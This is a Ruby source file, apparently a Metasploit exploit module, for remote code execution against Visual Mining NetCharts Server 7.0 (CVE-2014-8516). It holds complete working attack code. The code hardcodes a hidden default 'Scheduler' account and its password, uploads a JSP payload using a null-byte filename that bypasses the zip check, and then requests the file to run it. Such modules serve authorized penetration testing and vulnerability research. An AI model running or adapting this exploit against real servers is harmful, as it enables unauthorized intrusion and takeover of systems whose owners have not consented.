133 lines
4.1 KiB
Ruby
133 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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DEFAULT_USERNAME = 'Scheduler'
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DEFAULT_PASSWORD = '!@#$scheduler$#@!'
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SIGNATURE = 'was uploaded successfully and is now ready for installation'
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Visual Mining NetCharts Server Remote Code Execution',
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'Description' => %q{
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This module exploits multiple vulnerabilities in Visual Mining NetCharts.
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First, a lack of input validation in the administration console permits
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arbitrary jsp code upload to locations accessible later through the web
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service. Authentication is typically required, however a 'hidden' user is
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available by default (and non-editable). This user, named 'Scheduler',
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can only login to the console after any modification in the user
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database (a user is added, admin password is changed etc). If the
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'Scheduler' user isn't available valid credentials must be supplied. The
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default Admin password is Admin.
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},
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'Author' =>
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[
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'sghctoma', # Vulnerability Discovery
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2014-8516'],
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['ZDI', '14-372']
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],
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'Privileged' => true,
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'Platform' => %w{ linux win },
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'Arch' => ARCH_JAVA,
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'Targets' =>
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[
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['Visual Mining NetCharts Server 7.0', {}]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 03 2014'))
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register_options(
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[
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Opt::RPORT(8001),
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OptString.new('HttpUsername', [false, "The username to authenticate with"]),
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OptString.new('HttpPassword', [false, "The password to authenticate with"])
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], self.class)
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end
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def check
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('/', 'Admin', 'archive', 'upload.jsp'),
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'vars_get' => { 'mode' => 'getZip' },
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'authorization' => basic_auth(username, password)
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})
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if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
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Exploit::CheckCode::Detected
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"
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print_status("Uploading JSP payload #{jsp_payload}...")
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if upload(jsp_payload, payload.encoded)
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print_good("JSP payload uploaded successfully")
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register_file_for_cleanup("./webapps/Admin/archive/ArchiveCache/#{jsp_payload}")
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else
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fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
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end
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print_status("Executing payload...")
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execute(jsp_payload, 1)
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end
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def execute(jsp_name, time_out = 20)
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res = send_request_cgi({
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'uri' => normalize_uri('/', 'Admin', 'archive', 'ArchiveCache', jsp_name),
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'method' => 'GET',
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'authorization' => basic_auth(username, password)
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}, time_out)
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res
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end
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def upload(file_name, contents)
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post_data = Rex::MIME::Message.new
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post_data.add_part(
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contents,
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'application/octet-stream',
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nil,
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"form-data; name=\"FILE1\"; filename=\"#{file_name}\x00Archive0101140101.zip\""
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)
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res = send_request_cgi({
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'uri' => normalize_uri("/", 'Admin', 'archive', 'upload.jsp'),
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'method' => 'GET',
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'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
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'data' => post_data.to_s,
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'vars_get' => { 'mode' => 'getZip' },
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'authorization' => basic_auth(username, password)
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})
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if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
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true
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else
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false
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end
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end
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def username
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datastore['HttpUsername'].blank? ? DEFAULT_USERNAME : datastore['HttpUsername']
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end
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def password
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datastore['HttpPassword'].blank? ? DEFAULT_PASSWORD : datastore['HttpPassword']
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end
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end
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